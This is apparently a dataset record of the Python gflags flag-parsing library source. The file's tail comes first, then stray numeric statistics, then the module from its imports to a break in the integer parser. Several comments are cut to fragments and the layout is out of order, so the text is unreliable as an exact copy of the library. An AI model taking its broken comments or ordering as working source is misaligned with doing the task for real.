DEFINE_multi_float(name, default, help, lower_bound=None, upper_bound=None, flag_values=FLAGS, **args): """Registers a flag whose value can be a list of arbitrary floats. Use the flag on the command line multiple times to place multiple float values into the list. The 'default' may be a single float (which will be converted into a single-element list) or a list of floats. """ parser = FloatParser(lower_bound, upper_bound) serializer = ArgumentSerializer() DEFINE_multi(parser, serializer, name, default, help, flag_values, **args) # Now register the flags that we want to exist in all applications. # These are all defined with allow_override=1, so user-apps can use # these flagnames for their own purposes, if they want. DEFINE_flag(HelpFlag()) DEFINE_flag(HelpshortFlag()) DEFINE_flag(HelpXMLFlag()) # Define special flags here so that help may be generated for them. # NOTE: Please do NOT use _SPECIAL_FLAGS from outside this module. _SPECIAL_FLAGS = FlagValues() DEFINE_string( 'flagfile', "", "Insert flag definitions from the given file into the command line.", _SPECIAL_FLAGS) DEFINE_string( 'undefok', "", "comma-separated list of flag names that it is okay to specify " "on the command line even if the program does not define a flag " "with that name. IMPORTANT: flags in this list that have " "arguments MUST use the --flag=value format.", _SPECIAL_FLAGS)
36.437391
84
0.689507
from __future__ import print_function from builtins import str from builtins import range from builtins import object import cgi import getopt import os import re import string import struct import sys from future.utils import with_metaclass try: import fcntl except ImportError: fcntl = None try: import termios except ImportError: termios = None import gflags_validators _RUNNING_PYCHECKER = 'pychecker.python' in sys.modules def _GetCallingModuleObjectAndName(): for depth in range(1, sys.getrecursionlimit()): if not sys._getframe(depth).f_globals is globals(): globals_for_frame = sys._getframe(depth).f_globals module, module_name = _GetModuleObjectAndName(globals_for_frame) if module_name is not None: return module, module_name raise AssertionError("No module was found") def _GetCallingModule(): return _GetCallingModuleObjectAndName()[1] def _GetThisModuleObjectAndName(): return _GetModuleObjectAndName(globals()) # module exceptions: class FlagsError(Exception): pass class DuplicateFlag(FlagsError): pass class CantOpenFlagFileError(FlagsError): pass class DuplicateFlagCannotPropagateNoneToSwig(DuplicateFlag): pass class DuplicateFlagError(DuplicateFlag): def __init__(self, flagname, flag_values, other_flag_values=None): self.flagname = flagname first_module = flag_values.FindModuleDefiningFlag( flagname, default='<unknown>') if other_flag_values is None: second_module = _GetCallingModule() else: second_module = other_flag_values.FindModuleDefiningFlag( flagname, default='<unknown>') msg = "The flag '%s' is defined twice. First from %s, Second from %s" % ( self.flagname, first_module, second_module) DuplicateFlag.__init__(self, msg) class IllegalFlagValue(FlagsError): pass class UnrecognizedFlag(FlagsError): pass # An UnrecognizedFlagError conveys more information than an UnrecognizedFlag. # Since there are external modules that create DuplicateFlags, the interface to # DuplicateFlag shouldn't change. The flagvalue will be assigned the full value class UnrecognizedFlagError(UnrecognizedFlag): def __init__(self, flagname, flagvalue=''): self.flagname = flagname self.flagvalue = flagvalue UnrecognizedFlag.__init__( self, "Unknown command line flag '%s'" % flagname) _exported_flags = {} _help_width = 80 def GetHelpWidth(): if (not sys.stdout.isatty()) or (termios is None) or (fcntl is None): return _help_width try: data = fcntl.ioctl(sys.stdout, termios.TIOCGWINSZ, '1234') columns = struct.unpack('hh', data)[1] if columns >= 40: return columns return int(os.getenv('COLUMNS', _help_width)) except (TypeError, IOError, struct.error): return _help_width def CutCommonSpacePrefix(text): text_lines = text.splitlines() while text_lines and not text_lines[-1]: text_lines = text_lines[:-1] if text_lines: if text_lines[0] and text_lines[0][0].isspace(): text_first_line = [] else: text_first_line = [text_lines.pop(0)] common_prefix = os.path.commonprefix([line for line in text_lines if line]) space_prefix_len = len(common_prefix) - len(common_prefix.lstrip()) if space_prefix_len: for index in range(len(text_lines)): if text_lines[index]: text_lines[index] = text_lines[index][space_prefix_len:] return '\n'.join(text_first_line + text_lines) return '' def TextWrap(text, length=None, indent='', firstline_indent=None, tabs=' '): if length is None: length = GetHelpWidth() if indent is None: indent = '' if len(indent) >= length: raise FlagsError('Indent must be shorter than length') if firstline_indent is None: firstline_indent = '' line = indent else: line = firstline_indent if len(firstline_indent) >= length: raise FlagsError('First line indent must be shorter than length') if not tabs or tabs == ' ': text = text.replace('\t', ' ') else: tabs_are_whitespace = not tabs.strip() line_regex = re.compile('([ ]*)(\t*)([^ \t]+)', re.MULTILINE) result = [] for text_line in text.splitlines(): old_result_len = len(result) for spaces, current_tabs, word in line_regex.findall(text_line.rstrip()): if current_tabs: # If the last thing we added was a space anyway then drop # it. But let's not get rid of the indentation. if (((result and line != indent) or (not result and line != firstline_indent)) and line[-1] == ' '): line = line[:-1] if tabs_are_whitespace: line += tabs * len(current_tabs) else: word = tabs * len(current_tabs) + word if len(line) + len(word) > length and len(indent) + len(word) <= length: result.append(line.rstrip()) line = indent + word word = '' if len(line) + 1 >= length: result.append(line.rstrip()) line = indent else: line += ' ' # finished) This deals with words that cannot fit on one line # (e.g. indent + word longer than allowed line length). while len(line) + len(word) >= length: line += word result.append(line[:length]) word = line[length:] line = indent # Default case, simply append the word and a space if word: line += word + ' ' # End of input line. If we have content we finish the line. If the # current line is just the indent but we had content in during this # original line then we need to add an empty line. if (result and line != indent) or (not result and line != firstline_indent): result.append(line.rstrip()) elif len(result) == old_result_len: result.append('') line = indent return '\n'.join(result) def DocToHelp(doc): # Get rid of starting and ending white space. Using lstrip() or even # strip() could drop more than maximum of first line and right space # of last line. doc = doc.strip() # Get rid of all empty lines whitespace_only_line = re.compile('^[ \t]+$', re.M) doc = whitespace_only_line.sub('', doc) # Cut out common space at line beginnings doc = CutCommonSpacePrefix(doc) # Just like this module's comment, comments tend to be aligned somehow. doc = re.sub('(?<=\S)\n(?=\S)', ' ', doc, re.M) return doc def _GetModuleObjectAndName(globals_dict): for name, module in list(sys.modules.items()): if getattr(module, '__dict__', None) is globals_dict: if name == '__main__': name = sys.argv[0] return (module, name) return (None, None) def _GetMainModule(): # (oldest) stack frame is using for globals. deepest_frame = sys._getframe(0) while deepest_frame.f_back is not None: deepest_frame = deepest_frame.f_back globals_for_main_module = deepest_frame.f_globals main_module_name = _GetModuleObjectAndName(globals_for_main_module)[1] # The above strategy fails in some cases (e.g., tools that compute # code coverage by redefining, among other things, the main module). # If so, just use sys.argv[0]. We can probably always do this, but # it's safest to try to use the same logic as _GetCallingModuleObjectAndName() if main_module_name is None: main_module_name = sys.argv[0] return main_module_name class FlagValues(object): def __init__(self): self.__dict__['__flags'] = {} self.__dict__['__flags_by_module'] = {} self.__dict__['__flags_by_module_id'] = {} self.__dict__['__key_flags_by_module'] = {} self.UseGnuGetOpt(False) def UseGnuGetOpt(self, use_gnu_getopt=True): self.__dict__['__use_gnu_getopt'] = use_gnu_getopt def IsGnuGetOpt(self): return self.__dict__['__use_gnu_getopt'] def FlagDict(self): return self.__dict__['__flags'] def FlagsByModuleDict(self): return self.__dict__['__flags_by_module'] def FlagsByModuleIdDict(self): return self.__dict__['__flags_by_module_id'] def KeyFlagsByModuleDict(self): return self.__dict__['__key_flags_by_module'] def _RegisterFlagByModule(self, module_name, flag): flags_by_module = self.FlagsByModuleDict() flags_by_module.setdefault(module_name, []).append(flag) def _RegisterFlagByModuleId(self, module_id, flag): flags_by_module_id = self.FlagsByModuleIdDict() flags_by_module_id.setdefault(module_id, []).append(flag) def _RegisterKeyFlagForModule(self, module_name, flag): key_flags_by_module = self.KeyFlagsByModuleDict() key_flags = key_flags_by_module.setdefault(module_name, []) if flag not in key_flags: key_flags.append(flag) def _GetFlagsDefinedByModule(self, module): if not isinstance(module, str): module = module.__name__ return list(self.FlagsByModuleDict().get(module, [])) def _GetKeyFlagsForModule(self, module): if not isinstance(module, str): module = module.__name__ key_flags = self._GetFlagsDefinedByModule(module) for flag in self.KeyFlagsByModuleDict().get(module, []): if flag not in key_flags: key_flags.append(flag) return key_flags def FindModuleDefiningFlag(self, flagname, default=None): for module, flags in self.FlagsByModuleDict().items(): for flag in flags: if flag.name == flagname or flag.short_name == flagname: return module return default def FindModuleIdDefiningFlag(self, flagname, default=None): for module_id, flags in self.FlagsByModuleIdDict().items(): for flag in flags: if flag.name == flagname or flag.short_name == flagname: return module_id return default def AppendFlagValues(self, flag_values): for flag_name, flag in flag_values.FlagDict().items(): # for its normal name. if flag_name == flag.name: try: self[flag_name] = flag except DuplicateFlagError: raise DuplicateFlagError(flag_name, self, other_flag_values=flag_values) def RemoveFlagValues(self, flag_values): for flag_name in flag_values.FlagDict(): self.__delattr__(flag_name) def __setitem__(self, name, flag): fl = self.FlagDict() if not isinstance(flag, Flag): raise IllegalFlagValue(flag) if not isinstance(name, type("")): raise FlagsError("Flag name must be a string") if len(name) == 0: raise FlagsError("Flag name cannot be empty") # If running under pychecker, duplicate keys are likely to be # defined. Disable check for duplicate keys when pycheck'ing. if (name in fl and not flag.allow_override and not fl[name].allow_override and not _RUNNING_PYCHECKER): module, module_name = _GetCallingModuleObjectAndName() if (self.FindModuleDefiningFlag(name) == module_name and id(module) != self.FindModuleIdDefiningFlag(name)): return raise DuplicateFlagError(name, self) short_name = flag.short_name if short_name is not None: if (short_name in fl and not flag.allow_override and not fl[short_name].allow_override and not _RUNNING_PYCHECKER): raise DuplicateFlagError(short_name, self) fl[short_name] = flag fl[name] = flag global _exported_flags _exported_flags[name] = flag def __getitem__(self, name): return self.FlagDict()[name] def __getattr__(self, name): fl = self.FlagDict() if name not in fl: raise AttributeError(name) return fl[name].value def __setattr__(self, name, value): fl = self.FlagDict() fl[name].value = value self._AssertValidators(fl[name].validators) return value def _AssertAllValidators(self): all_validators = set() for flag in self.FlagDict().values(): for validator in flag.validators: all_validators.add(validator) self._AssertValidators(all_validators) def _AssertValidators(self, validators): for validator in sorted( validators, key=lambda validator: validator.insertion_index): try: validator.Verify(self) except gflags_validators.Error as e: message = validator.PrintFlagsWithValues(self) raise IllegalFlagValue('%s: %s' % (message, str(e))) def _FlagIsRegistered(self, flag_obj): flag_dict = self.FlagDict() name = flag_obj.name if flag_dict.get(name, None) == flag_obj: return True short_name = flag_obj.short_name if (short_name is not None and flag_dict.get(short_name, None) == flag_obj): return True return False def __delattr__(self, flag_name): fl = self.FlagDict() if flag_name not in fl: raise AttributeError(flag_name) flag_obj = fl[flag_name] del fl[flag_name] if not self._FlagIsRegistered(flag_obj): self.__RemoveFlagFromDictByModule(self.FlagsByModuleDict(), flag_obj) self.__RemoveFlagFromDictByModule(self.FlagsByModuleIdDict(), flag_obj) self.__RemoveFlagFromDictByModule(self.KeyFlagsByModuleDict(), flag_obj) def __RemoveFlagFromDictByModule(self, flags_by_module_dict, flag_obj): for unused_module, flags_in_module in flags_by_module_dict.items(): while flag_obj in flags_in_module: flags_in_module.remove(flag_obj) def SetDefault(self, name, value): fl = self.FlagDict() if name not in fl: raise AttributeError(name) fl[name].SetDefault(value) self._AssertValidators(fl[name].validators) def __contains__(self, name): return name in self.FlagDict() has_key = __contains__ def __iter__(self): return iter(self.FlagDict()) def __call__(self, argv): argv = list(argv) shortopts = "" longopts = [] fl = self.FlagDict() argv = argv[:1] + self.ReadFlagsFromFiles(argv[1:], force_gnu=False) original_argv = list(argv) shortest_matches = None for name, flag in list(fl.items()): if not flag.boolean: continue if shortest_matches is None: shortest_matches = self.ShortestUniquePrefixes(fl) no_name = 'no' + name prefix = shortest_matches[name] no_prefix = shortest_matches[no_name] for arg_idx in range(1, len(argv)): arg = argv[arg_idx] if arg.find('=') >= 0: continue if arg.startswith('--'+prefix) and ('--'+name).startswith(arg): argv[arg_idx] = ('--%s=true' % name) elif arg.startswith('--'+no_prefix) and ('--'+no_name).startswith(arg): argv[arg_idx] = ('--%s=false' % name) for name, flag in list(fl.items()): longopts.append(name + "=") if len(name) == 1: shortopts += name if not flag.boolean: shortopts += ":" longopts.append('undefok=') undefok_flags = [] unrecognized_opts = [] args = argv[1:] while True: try: if self.__dict__['__use_gnu_getopt']: optlist, unparsed_args = getopt.gnu_getopt(args, shortopts, longopts) else: optlist, unparsed_args = getopt.getopt(args, shortopts, longopts) break except getopt.GetoptError as e: if not e.opt or e.opt in fl: raise FlagsError(e) for arg_index in range(len(args)): if ((args[arg_index] == '--' + e.opt) or (args[arg_index] == '-' + e.opt) or (args[arg_index].startswith('--' + e.opt + '='))): unrecognized_opts.append((e.opt, args[arg_index])) args = args[0:arg_index] + args[arg_index+1:] break else: # here. We could assert, but raising the original exception # might work better. raise FlagsError(e) for name, arg in optlist: if name == '--undefok': flag_names = arg.split(',') undefok_flags.extend(flag_names) # For boolean flags, if --undefok=boolflag is specified, then we should # also accept --noboolflag, in addition to --boolflag. # Since we don't know the type of the undefok'd flag, this will affect # non-boolean flags as well. # NOTE: You shouldn't use --undefok=noboolflag, because then we will undefok_flags.extend('no' + name for name in flag_names) continue if name.startswith('--'): name = name[2:] short_option = 0 else: name = name[1:] short_option = 1 if name in fl: flag = fl[name] if flag.boolean and short_option: arg = 1 flag.Parse(arg) for opt, value in unrecognized_opts: if opt not in undefok_flags: raise UnrecognizedFlagError(opt, value) if unparsed_args: if self.__dict__['__use_gnu_getopt']: ret_val = argv[:1] + unparsed_args else: ret_val = argv[:1] + original_argv[-len(unparsed_args):] else: ret_val = argv[:1] self._AssertAllValidators() return ret_val def Reset(self): for f in list(self.FlagDict().values()): f.Unparse() def RegisteredFlags(self): return list(self.FlagDict()) def FlagValuesDict(self): flag_values = {} for flag_name in self.RegisteredFlags(): flag = self.FlagDict()[flag_name] flag_values[flag_name] = flag.value return flag_values def __str__(self): return self.GetHelp() def GetHelp(self, prefix=''): helplist = [] flags_by_module = self.FlagsByModuleDict() if flags_by_module: modules = sorted(flags_by_module) main_module = _GetMainModule() if main_module in modules: modules.remove(main_module) modules = [main_module] + modules for module in modules: self.__RenderOurModuleFlags(module, helplist) self.__RenderModuleFlags('gflags', list(_SPECIAL_FLAGS.FlagDict().values()), helplist) else: self.__RenderFlagList( list(self.FlagDict().values()) + list(_SPECIAL_FLAGS.FlagDict().values()), helplist, prefix) return '\n'.join(helplist) def __RenderModuleFlags(self, module, flags, output_lines, prefix=""): if not isinstance(module, str): module = module.__name__ output_lines.append('\n%s%s:' % (prefix, module)) self.__RenderFlagList(flags, output_lines, prefix + " ") def __RenderOurModuleFlags(self, module, output_lines, prefix=""): flags = self._GetFlagsDefinedByModule(module) if flags: self.__RenderModuleFlags(module, flags, output_lines, prefix) def __RenderOurModuleKeyFlags(self, module, output_lines, prefix=""): key_flags = self._GetKeyFlagsForModule(module) if key_flags: self.__RenderModuleFlags(module, key_flags, output_lines, prefix) def ModuleHelp(self, module): helplist = [] self.__RenderOurModuleKeyFlags(module, helplist) return '\n'.join(helplist) def MainModuleHelp(self): return self.ModuleHelp(_GetMainModule()) def __RenderFlagList(self, flaglist, output_lines, prefix=" "): fl = self.FlagDict() special_fl = _SPECIAL_FLAGS.FlagDict() flaglist = [(flag.name, flag) for flag in flaglist] flaglist.sort() flagset = {} for (name, flag) in flaglist: # registered in the per-module flaglist. Check now against the # canonical source of current flag information, the FlagDict. if fl.get(name, None) != flag and special_fl.get(name, None) != flag: # a different flag is using this name now continue # only print help once if flag in flagset: continue flagset[flag] = 1 flaghelp = "" if flag.short_name: flaghelp += "-%s," % flag.short_name if flag.boolean: flaghelp += "--[no]%s" % flag.name + ":" else: flaghelp += "--%s" % flag.name + ":" flaghelp += " " if flag.help: flaghelp += flag.help flaghelp = TextWrap(flaghelp, indent=prefix+" ", firstline_indent=prefix) if flag.default_as_str: flaghelp += "\n" flaghelp += TextWrap("(default: %s)" % flag.default_as_str, indent=prefix+" ") if flag.parser.syntactic_help: flaghelp += "\n" flaghelp += TextWrap("(%s)" % flag.parser.syntactic_help, indent=prefix+" ") output_lines.append(flaghelp) def get(self, name, default): value = self.__getattr__(name) if value is not None: # Can't do if not value, b/c value might be '0' or "" return value else: return default def ShortestUniquePrefixes(self, fl): sorted_flags = [] for name, flag in list(fl.items()): sorted_flags.append(name) if flag.boolean: sorted_flags.append('no%s' % name) sorted_flags.sort() shortest_matches = {} prev_idx = 0 for flag_idx in range(len(sorted_flags)): curr = sorted_flags[flag_idx] if flag_idx == (len(sorted_flags) - 1): next = None else: next = sorted_flags[flag_idx+1] next_len = len(next) for curr_idx in range(len(curr)): if (next is None or curr_idx >= next_len or curr[curr_idx] != next[curr_idx]): shortest_matches[curr] = curr[:max(prev_idx, curr_idx) + 1] prev_idx = curr_idx break else: shortest_matches[curr] = curr prev_idx = curr_idx + 1 return shortest_matches def __IsFlagFileDirective(self, flag_string): if isinstance(flag_string, type("")): if flag_string.startswith('--flagfile='): return 1 elif flag_string == '--flagfile': return 1 elif flag_string.startswith('-flagfile='): return 1 elif flag_string == '-flagfile': return 1 else: return 0 return 0 def ExtractFilename(self, flagfile_str): if flagfile_str.startswith('--flagfile='): return os.path.expanduser((flagfile_str[(len('--flagfile=')):]).strip()) elif flagfile_str.startswith('-flagfile='): return os.path.expanduser((flagfile_str[(len('-flagfile=')):]).strip()) else: raise FlagsError('Hit illegal --flagfile type: %s' % flagfile_str) def __GetFlagFileLines(self, filename, parsed_file_list): line_list = [] flag_line_list = [] try: file_obj = open(filename, 'r') except IOError as e_msg: raise CantOpenFlagFileError('ERROR:: Unable to open flagfile: %s' % e_msg) line_list = file_obj.readlines() file_obj.close() parsed_file_list.append(filename) for line in line_list: if line.isspace(): pass elif line.startswith('#') or line.startswith('//'): pass elif self.__IsFlagFileDirective(line): sub_filename = self.ExtractFilename(line) if not sub_filename in parsed_file_list: included_flags = self.__GetFlagFileLines(sub_filename, parsed_file_list) flag_line_list.extend(included_flags) else: # Case of hitting a circularly included file. sys.stderr.write('Warning: Hit circular flagfile dependency: %s\n' % (sub_filename,)) else: # Any line that's not a comment or a nested flagfile should get flag_line_list.append(line.strip()) return flag_line_list def ReadFlagsFromFiles(self, argv, force_gnu=True): parsed_file_list = [] rest_of_args = argv new_argv = [] while rest_of_args: current_arg = rest_of_args[0] rest_of_args = rest_of_args[1:] if self.__IsFlagFileDirective(current_arg): if current_arg == '--flagfile' or current_arg == '-flagfile': if not rest_of_args: raise IllegalFlagValue('--flagfile with no argument') flag_filename = os.path.expanduser(rest_of_args[0]) rest_of_args = rest_of_args[1:] else: flag_filename = self.ExtractFilename(current_arg) new_argv.extend( self.__GetFlagFileLines(flag_filename, parsed_file_list)) else: new_argv.append(current_arg) if current_arg == '--': break if not current_arg.startswith('-'): if not force_gnu and not self.__dict__['__use_gnu_getopt']: break if rest_of_args: new_argv.extend(rest_of_args) return new_argv def FlagsIntoString(self): s = '' for flag in list(self.FlagDict().values()): if flag.value is not None: s += flag.Serialize() + '\n' return s def AppendFlagsIntoFile(self, filename): out_file = open(filename, 'a') out_file.write(self.FlagsIntoString()) out_file.close() def WriteHelpInXMLFormat(self, outfile=None): outfile = outfile or sys.stdout outfile.write('<?xml version=\"1.0\"?>\n') outfile.write('<AllFlags>\n') indent = ' ' _WriteSimpleXMLElement(outfile, 'program', os.path.basename(sys.argv[0]), indent) usage_doc = sys.modules['__main__'].__doc__ if not usage_doc: usage_doc = '\nUSAGE: %s [flags]\n' % sys.argv[0] else: usage_doc = usage_doc.replace('%s', sys.argv[0]) _WriteSimpleXMLElement(outfile, 'usage', usage_doc, indent) key_flags = self._GetKeyFlagsForModule(_GetMainModule()) flags_by_module = self.FlagsByModuleDict() all_module_names = list(flags_by_module.keys()) all_module_names.sort() for module_name in all_module_names: flag_list = [(f.name, f) for f in flags_by_module[module_name]] flag_list.sort() for unused_flag_name, flag in flag_list: is_key = flag in key_flags flag.WriteInfoInXMLFormat(outfile, module_name, is_key=is_key, indent=indent) outfile.write('</AllFlags>\n') outfile.flush() def AddValidator(self, validator): for flag_name in validator.GetFlagsNames(): flag = self.FlagDict()[flag_name] flag.validators.append(validator) FLAGS = FlagValues() def _StrOrUnicode(value): try: return str(value) except UnicodeEncodeError: return str(value) def _MakeXMLSafe(s): s = cgi.escape(s) s = re.sub(r'[\x00-\x08\x0b\x0c\x0e-\x1f]', '', s) # Convert non-ascii characters to entities. Note: requires python >=2.3 s = s.encode('ascii', 'xmlcharrefreplace') # u'\xce\x88' -> 'u& return s def _WriteSimpleXMLElement(outfile, name, value, indent): value_str = _StrOrUnicode(value) if isinstance(value, bool): # Display boolean values as the C++ flag library does: no caps. value_str = value_str.lower() safe_value_str = _MakeXMLSafe(value_str) outfile.write('%s<%s>%s</%s>\n' % (indent, name, safe_value_str, name)) class Flag(object): def __init__(self, parser, serializer, name, default, help_string, short_name=None, boolean=0, allow_override=0): self.name = name if not help_string: help_string = '(no help available)' self.help = help_string self.short_name = short_name self.boolean = boolean self.present = 0 self.parser = parser self.serializer = serializer self.allow_override = allow_override self.value = None self.validators = [] self.SetDefault(default) def __hash__(self): return hash(id(self)) def __eq__(self, other): return self is other def __lt__(self, other): if isinstance(other, Flag): return id(self) < id(other) return NotImplemented def __GetParsedValueAsString(self, value): if value is None: return None if self.serializer: return repr(self.serializer.Serialize(value)) if self.boolean: if value: return repr('true') else: return repr('false') return repr(_StrOrUnicode(value)) def Parse(self, argument): try: self.value = self.parser.Parse(argument) except ValueError as e: # recast ValueError as IllegalFlagValue raise IllegalFlagValue("flag --%s=%s: %s" % (self.name, argument, e)) self.present += 1 def Unparse(self): if self.default is None: self.value = None else: self.Parse(self.default) self.present = 0 def Serialize(self): if self.value is None: return '' if self.boolean: if self.value: return "--%s" % self.name else: return "--no%s" % self.name else: if not self.serializer: raise FlagsError("Serializer not present for flag %s" % self.name) return "--%s=%s" % (self.name, self.serializer.Serialize(self.value)) def SetDefault(self, value): # We can't allow a None override because it may end up not being # cowardly bail out until someone fixes the semantics of trying to # pass None to a C++ flag. See swig_flags.Init() for details on # this behavior. # TODO(olexiy): Users can directly call this method, bypassing all flags # validators (we don't have FlagValues here, so we can not check if value is None and self.allow_override: raise DuplicateFlagCannotPropagateNoneToSwig(self.name) self.default = value self.Unparse() self.default_as_str = self.__GetParsedValueAsString(self.value) def Type(self): # of strings', 'whitespace separated list of strings', etc. return self.parser.Type() def WriteInfoInXMLFormat(self, outfile, module_name, is_key=False, indent=''): outfile.write(indent + '<flag>\n') inner_indent = indent + ' ' if is_key: _WriteSimpleXMLElement(outfile, 'key', 'yes', inner_indent) _WriteSimpleXMLElement(outfile, 'file', module_name, inner_indent) _WriteSimpleXMLElement(outfile, 'name', self.name, inner_indent) if self.short_name: _WriteSimpleXMLElement(outfile, 'short_name', self.short_name, inner_indent) if self.help: _WriteSimpleXMLElement(outfile, 'meaning', self.help, inner_indent) if self.serializer and not isinstance(self.default, str): default_serialized = self.serializer.Serialize(self.default) else: default_serialized = self.default _WriteSimpleXMLElement(outfile, 'default', default_serialized, inner_indent) _WriteSimpleXMLElement(outfile, 'current', self.value, inner_indent) _WriteSimpleXMLElement(outfile, 'type', self.Type(), inner_indent) self._WriteCustomInfoInXMLFormat(outfile, inner_indent) outfile.write(indent + '</flag>\n') def _WriteCustomInfoInXMLFormat(self, outfile, indent): self.parser.WriteCustomInfoInXMLFormat(outfile, indent) class _ArgumentParserCache(type): _instances = {} def __call__(mcs, *args, **kwargs): if kwargs: return type.__call__(mcs, *args, **kwargs) else: instances = mcs._instances key = (mcs,) + tuple(args) try: return instances[key] except KeyError: return instances.setdefault(key, type.__call__(mcs, *args)) except TypeError: return type.__call__(mcs, *args) class ArgumentParser(with_metaclass(_ArgumentParserCache, object)): syntactic_help = "" def Parse(self, argument): return argument def Type(self): return 'string' def WriteCustomInfoInXMLFormat(self, outfile, indent): pass class ArgumentSerializer(object): def Serialize(self, value): return _StrOrUnicode(value) class ListSerializer(ArgumentSerializer): def __init__(self, list_sep): self.list_sep = list_sep def Serialize(self, value): return self.list_sep.join([_StrOrUnicode(x) for x in value]) def RegisterValidator(flag_name, checker, message='Flag validation failed', flag_values=FLAGS): flag_values.AddValidator(gflags_validators.SimpleValidator(flag_name, checker, message)) def MarkFlagAsRequired(flag_name, flag_values=FLAGS): RegisterValidator(flag_name, lambda value: value is not None, message='Flag --%s must be specified.' % flag_name, flag_values=flag_values) def _RegisterBoundsValidatorIfNeeded(parser, name, flag_values): if parser.lower_bound is not None or parser.upper_bound is not None: def Checker(value): if value is not None and parser.IsOutsideBounds(value): message = '%s is not %s' % (value, parser.syntactic_help) raise gflags_validators.Error(message) return True RegisterValidator(name, Checker, flag_values=flag_values) def DEFINE(parser, name, default, help, flag_values=FLAGS, serializer=None, **args): DEFINE_flag(Flag(parser, serializer, name, default, help, **args), flag_values) def DEFINE_flag(flag, flag_values=FLAGS): fv = flag_values fv[flag.name] = flag if isinstance(flag_values, FlagValues): # Regarding the above isinstance test: some users pass funny # values of flag_values (e.g., {}) in order to avoid the flag # registration (in the past, there used to be a flag_values == # FLAGS test here) and redefine flags with the same name (e.g., # debug). To avoid breaking their code, we perform the # registration only if flag_values is a real FlagValues object. module, module_name = _GetCallingModuleObjectAndName() flag_values._RegisterFlagByModule(module_name, flag) flag_values._RegisterFlagByModuleId(id(module), flag) def _InternalDeclareKeyFlags(flag_names, flag_values=FLAGS, key_flag_values=None): key_flag_values = key_flag_values or flag_values module = _GetCallingModule() for flag_name in flag_names: if flag_name not in flag_values: raise UnrecognizedFlagError(flag_name) flag = flag_values.FlagDict()[flag_name] key_flag_values._RegisterKeyFlagForModule(module, flag) def DECLARE_key_flag(flag_name, flag_values=FLAGS): if flag_name in _SPECIAL_FLAGS: # Take care of the special flags, e.g., --flagfile, --undefok. # These flags are defined in _SPECIAL_FLAGS, and are treated # specially during flag parsing, taking precedence over the # user-defined flags. _InternalDeclareKeyFlags([flag_name], flag_values=_SPECIAL_FLAGS, key_flag_values=flag_values) return _InternalDeclareKeyFlags([flag_name], flag_values=flag_values) def ADOPT_module_key_flags(module, flag_values=FLAGS): # NOTE(salcianu): an even better test would be if not # isinstance(module, types.ModuleType) but I didn't want to import if isinstance(module, str): raise FlagsError('Received module name %s; expected a module object.' % module) _InternalDeclareKeyFlags( [f.name for f in flag_values._GetKeyFlagsForModule(module.__name__)], flag_values=flag_values) if module == _GetThisModuleObjectAndName()[0]: _InternalDeclareKeyFlags( # Instead, we take all flags from _SPECIAL_FLAGS (a private # FlagValues, where no other module should register flags). [f.name for f in list(_SPECIAL_FLAGS.FlagDict().values())], flag_values=_SPECIAL_FLAGS, key_flag_values=flag_values) # # STRING FLAGS # def DEFINE_string(name, default, help, flag_values=FLAGS, **args): parser = ArgumentParser() serializer = ArgumentSerializer() DEFINE(parser, name, default, help, flag_values, serializer, **args) # # BOOLEAN FLAGS # class BooleanParser(ArgumentParser): def Convert(self, argument): if type(argument) == str: if argument.lower() in ['true', 't', '1']: return True elif argument.lower() in ['false', 'f', '0']: return False bool_argument = bool(argument) if argument == bool_argument: # The argument is a valid boolean (True, False, 0, or 1), and not just # something that always converts to bool (list, string, int, etc.). return bool_argument raise ValueError('Non-boolean argument to boolean flag', argument) def Parse(self, argument): val = self.Convert(argument) return val def Type(self): return 'bool' class BooleanFlag(Flag): def __init__(self, name, default, help, short_name=None, **args): p = BooleanParser() Flag.__init__(self, p, None, name, default, help, short_name, 1, **args) if not self.help: self.help = "a boolean value" def DEFINE_boolean(name, default, help, flag_values=FLAGS, **args): DEFINE_flag(BooleanFlag(name, default, help, **args), flag_values) # Match C++ API to unconfuse C++ people. DEFINE_bool = DEFINE_boolean class HelpFlag(BooleanFlag): def __init__(self): BooleanFlag.__init__(self, "help", 0, "show this help", short_name="?", allow_override=1) def Parse(self, arg): if arg: doc = sys.modules["__main__"].__doc__ flags = str(FLAGS) print(doc or ("\nUSAGE: %s [flags]\n" % sys.argv[0])) if flags: print("flags:") print(flags) sys.exit(1) class HelpXMLFlag(BooleanFlag): def __init__(self): BooleanFlag.__init__(self, 'helpxml', False, 'like --help, but generates XML output', allow_override=1) def Parse(self, arg): if arg: FLAGS.WriteHelpInXMLFormat(sys.stdout) sys.exit(1) class HelpshortFlag(BooleanFlag): def __init__(self): BooleanFlag.__init__(self, "helpshort", 0, "show usage only for this module", allow_override=1) def Parse(self, arg): if arg: doc = sys.modules["__main__"].__doc__ flags = FLAGS.MainModuleHelp() print(doc or ("\nUSAGE: %s [flags]\n" % sys.argv[0])) if flags: print("flags:") print(flags) sys.exit(1) # # Numeric parser - base class for Integer and Float parsers # class NumericParser(ArgumentParser): def IsOutsideBounds(self, val): return ((self.lower_bound is not None and val < self.lower_bound) or (self.upper_bound is not None and val > self.upper_bound)) def Parse(self, argument): val = self.Convert(argument) if self.IsOutsideBounds(val): raise ValueError("%s is not %s" % (val, self.syntactic_help)) return val def WriteCustomInfoInXMLFormat(self, outfile, indent): if self.lower_bound is not None: _WriteSimpleXMLElement(outfile, 'lower_bound', self.lower_bound, indent) if self.upper_bound is not None: _WriteSimpleXMLElement(outfile, 'upper_bound', self.upper_bound, indent) def Convert(self, argument): return argument # End of Numeric Parser # # FLOAT FLAGS # class FloatParser(NumericParser): number_article = "a" number_name = "number" syntactic_help = " ".join((number_article, number_name)) def __init__(self, lower_bound=None, upper_bound=None): super(FloatParser, self).__init__() self.lower_bound = lower_bound self.upper_bound = upper_bound sh = self.syntactic_help if lower_bound is not None and upper_bound is not None: sh = ("%s in the range [%s, %s]" % (sh, lower_bound, upper_bound)) elif lower_bound == 0: sh = "a non-negative %s" % self.number_name elif upper_bound == 0: sh = "a non-positive %s" % self.number_name elif upper_bound is not None: sh = "%s <= %s" % (self.number_name, upper_bound) elif lower_bound is not None: sh = "%s >= %s" % (self.number_name, lower_bound) self.syntactic_help = sh def Convert(self, argument): return float(argument) def Type(self): return 'float' # End of FloatParser def DEFINE_float(name, default, help, lower_bound=None, upper_bound=None, flag_values=FLAGS, **args): parser = FloatParser(lower_bound, upper_bound) serializer = ArgumentSerializer() DEFINE(parser, name, default, help, flag_values, serializer, **args) _RegisterBoundsValidatorIfNeeded(parser, name, flag_values=flag_values) # # INTEGER FLAGS # class IntegerParser(NumericParser): number_article = "an" number_name = "integer" syntactic_help = " ".join((number_article, number_name)) def __init__(self, lower_bound=None, upper_bound=None): 